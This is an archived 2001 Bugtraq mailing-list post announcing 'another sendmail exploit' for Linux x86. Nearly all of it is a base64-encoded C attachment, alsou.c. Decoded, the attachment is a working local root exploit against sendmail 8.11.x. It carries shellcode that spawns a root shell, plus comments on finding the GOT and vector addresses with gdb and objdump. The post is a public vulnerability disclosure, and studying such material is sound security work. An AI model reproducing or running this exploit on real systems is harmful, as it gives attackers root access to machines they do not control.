 | ||||||
| << Previous | INDEX | Search | src | Set bookmark | Go to bookmark | Next >> |
| ||||||
| |||||||||||||||||||||
Date: Thu, 23 Aug 2001 04:40:02 +0400 (MSD) From: Alexander Yurchenko <grange@rt.mipt.ru> To: bugtraq@securityfocus.com Subject: Another sendmail exploit --0-2055545115-998527202=:29605 Content-Type: TEXT/PLAIN; charset=US-ASCII Here's an another sendmail exploit for linux x86. Alexander Yurchenko aka grange --0-2055545115-998527202=:29605 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="alsou.c" Content-Transfer-Encoding: BASE64 Content-ID: <Pine.BSO.4.33.0108230440020.29605@disorder.grange.ru> Content-Description: alsou.c Content-Disposition: attachment; filename="alsou.c" LyoNCiAqIGFsc291LmMNCiAqDQogKiBzZW5kbWFpbC04LjExLnggbGludXgg eDg2IGV4cGxvaXQNCiAqDQogKiBUbyB1c2UgdGhpcyBleHBsb2l0IHlvdSBz aG91bGQga25vdyB0d28gbnVtYmVyczogVkVDVCBhbmQgR09ULg0KICogVXNl IGdkYiB0byBmaW5kIHRoZSBmaXJzdDoNCiAqDQogKiAkIGdkYiAtcSAvdXNy L3NiaW4vc2VuZG1haWwgDQogKiAoZ2RiKSBicmVhayB0VGZsYWcgDQogKiBC cmVha3BvaW50IDEgYXQgMHg4MDgwNjI5DQogKiAoZ2RiKSByIC1kMS0xLjEN CiAqIFN0YXJ0aW5nIHByb2dyYW06IC91c3Ivc2Jpbi9zZW5kbWFpbCAtZDEt MS4xDQogKg0KICogQnJlYWtwb2ludCAxLCAweDgwODA2MjkgaW4gdFRmbGFn ICgpDQogKiAoZ2RiKSBkaXNhc3NlbWJsZSB0VGZsYWcNCiAqIC4uLi4uLi4u Li4uLi4NCiAqIDB4ODA4MDZlYSA8dFRmbGFnKzIwMj46IGRlYyAgICAlZWRp DQogKiAweDgwODA2ZWIgPHRUZmxhZysyMDM+OiBtb3YgICAgJWVkaSwweGZm ZmZmZmY4KCVlYnApDQogKiAweDgwODA2ZWUgPHRUZmxhZysyMDY+OiBqbXAg ICAgMHg4MDgwNmY5IDx0VGZsYWcrMjE3Pg0KICogMHg4MDgwNmYwIDx0VGZs YWcrMjA4PjogbW92ICAgIDB4ODBiMjFmNCwlZWF4DQogKiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICBeXl5eXl5eXl5eXl5eXl5eXl4gYWRkcmVz cyBvZiBWRUNUDQogKiAweDgwODA2ZjUgPHRUZmxhZysyMTM+OiBtb3YgICAg JWJsLCglZXNpLCVlYXgsMSkNCiAqIDB4ODA4MDZmOCA8dFRmbGFnKzIxNj46 IGluYyAgICAlZXNpDQogKiAweDgwODA2ZjkgPHRUZmxhZysyMTc+OiBjbXAg ICAgMHhmZmZmZmZmOCglZWJwKSwlZXNpDQogKiAweDgwODA2ZmMgPHRUZmxh ZysyMjA+OiBqbGUgICAgMHg4MDgwNmYwIDx0VGZsYWcrMjA4Pg0KICogLi4u Li4uLi4uLi4uLg0KICogKGdkYikgeC94IDB4ODBiMjFmNA0KICogMHg4MGIy MWY0IDx0VHZlY3Q+OiAgICAgMHgwODBiOWFlMA0KICogICAgICAgICAgICAg ICAgICAgICAgICBeXl5eXl5eXl5eXl5eIFZFQ1QNCiAqDQogKiBVc2Ugb2Jq ZHVtcCB0byBmaW5kIHRoZSBzZWNvbmQ6DQogKiAkIG9iamR1bXAgLVIgL3Vz ci9zYmluL3NlbmRtYWlsIHxncmVwIHNldHVpZA0KICogMDgwOWUwN2MgUl8z ODZfSlVNUF9TTE9UICAgc2V0dWlkDQogKiBeXl5eXl5eXl4gR09UDQogKg0K ICogUHJvYmFibHkgeW91IHNob3VsZCBwbGF5IHdpdGggT0ZGU0VUIHRvIG1h a2UgZXhwbG9pdCB3b3JrLg0KICogDQogKiBDb25zdGFudCB2YWx1ZXMsIHdy aXR0ZW4gaW4gdGhpcyBjb2RlIGZvdW5kIGZvciBzZW5kbWFpbC04LjExLjQN CiAqIG9uIFJlZEhhdC02LjIuIEZvciBzZW5kbWFpbC04LjExLjAgb24gUmVk SGF0LTYuMiB0cnkgVkVDVCA9IDB4MDgwYjlhZTAgYW5kDQogKiBHT1QgPSAw eDA4MDllMDdjLg0KICoNCiAqIFRvIGdldCByMDB0IHR5cGUgLi9hbHNvdSBh bmQgdGhlbiBwcmVzcyBDdHJsK0MuDQogKiANCiAqDQogKiBncmFuZ2UgPGdy YW5nZUBydC5taXB0LnJ1Pg0KICoNCiAqLw0KIA0KI2luY2x1ZGUgPHN5cy90 eXBlcy5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KDQojZGVmaW5lIE9GRlNF VCAxMDAwDQojZGVmaW5lIFZFQ1QgMHgwODBiYWYyMA0KI2RlZmluZSBHT1Qg MHgwODA5ZjU0NA0KDQojZGVmaW5lIE5PUE5VTSAxMDI0DQoNCmNoYXIgc2hl bGxjb2RlW10gPQ0KCSJceDMxXHhjMFx4MzFceGRiXHhiMFx4MTdceGNkXHg4 MCINCgkiXHhiMFx4MmVceGNkXHg4MFx4ZWJceDE1XHg1Ylx4MzEiDQoJIlx4 YzBceDg4XHg0M1x4MDdceDg5XHg1Ylx4MDhceDg5Ig0KCSJceDQzXHgwY1x4 OGRceDRiXHgwOFx4MzFceGQyXHhiMCINCgkiXHgwYlx4Y2RceDgwXHhlOFx4 ZTZceGZmXHhmZlx4ZmYiDQoJIi9iaW4vc2giOw0KDQp1bnNpZ25lZCBpbnQg Z2V0X2VzcCgpDQp7DQoJX19hc21fXygibW92bCAlZXNwLCVlYXgiKTsNCn0N Cg0KaW50IG1haW4oaW50IGFyZ2MsIGNoYXIgKmFyZ3ZbXSkNCnsNCgljaGFy ICplZ2csIHNbMjU2XSwgdG1wWzI1Nl0sICphdlszXSwgKmV2WzJdOw0KCXVu c2lnbmVkIGludCBnb3QgPSBHT1QsIHZlY3QgPSBWRUNULCByZXQsIGZpcnN0 LCBsYXN0LCBpOw0KDQoJZWdnID0gKGNoYXIgKiltYWxsb2Moc3RybGVuKHNo ZWxsY29kZSkgKyBOT1BOVU0gKyA1KTsNCglpZiAoZWdnID09IE5VTEwpIHsN CgkJcGVycm9yKCJtYWxsb2MoKSIpOw0KCQlleGl0KC0xKTsNCgl9DQoJc3By aW50ZihlZ2csICJFR0c9Iik7DQoJbWVtc2V0KGVnZyArIDQsIDB4OTAsIE5P UE5VTSk7DQoJc3ByaW50ZihlZ2cgKyA0ICsgTk9QTlVNLCAiJXMiLCBzaGVs bGNvZGUpOw0KCQ0KCXJldCA9IGdldF9lc3AoKSArIE9GRlNFVDsNCg0KCXNw cmludGYocywgIi1kIik7DQoJZmlyc3QgPSAtdmVjdCAtICgweGZmZmZmZmZm IC0gZ290ICsgMSk7DQoJbGFzdCA9IGZpcnN0Ow0KCXdoaWxlIChyZXQpIHsN CgkJaSA9IHJldCAmIDB4ZmY7DQoJCXNwcmludGYodG1wLCAiJXUtJXUuJXUt IiwgZmlyc3QsIGxhc3QsIGkpOw0KCQlzdHJjYXQocywgdG1wKTsNCgkJbGFz dCA9ICsrZmlyc3Q7DQoJCXJldCA9IHJldCA+PiA4Ow0KCX0NCglzW3N0cmxl bihzKSAtIDFdID0gJ1wwJzsNCg0KCWF2WzBdID0gIi91c3Ivc2Jpbi9zZW5k bWFpbCI7DQoJYXZbMV0gPSBzOw0KCWF2WzJdID0gTlVMTDsNCglldlswXSA9 IGVnZzsNCglldlsxXSA9IE5VTEw7DQoJZXhlY3ZlKCphdiwgYXYsIGV2KTsN Cn0NCg== --0-2055545115-998527202=:29605--
| |||||||||||||||||||||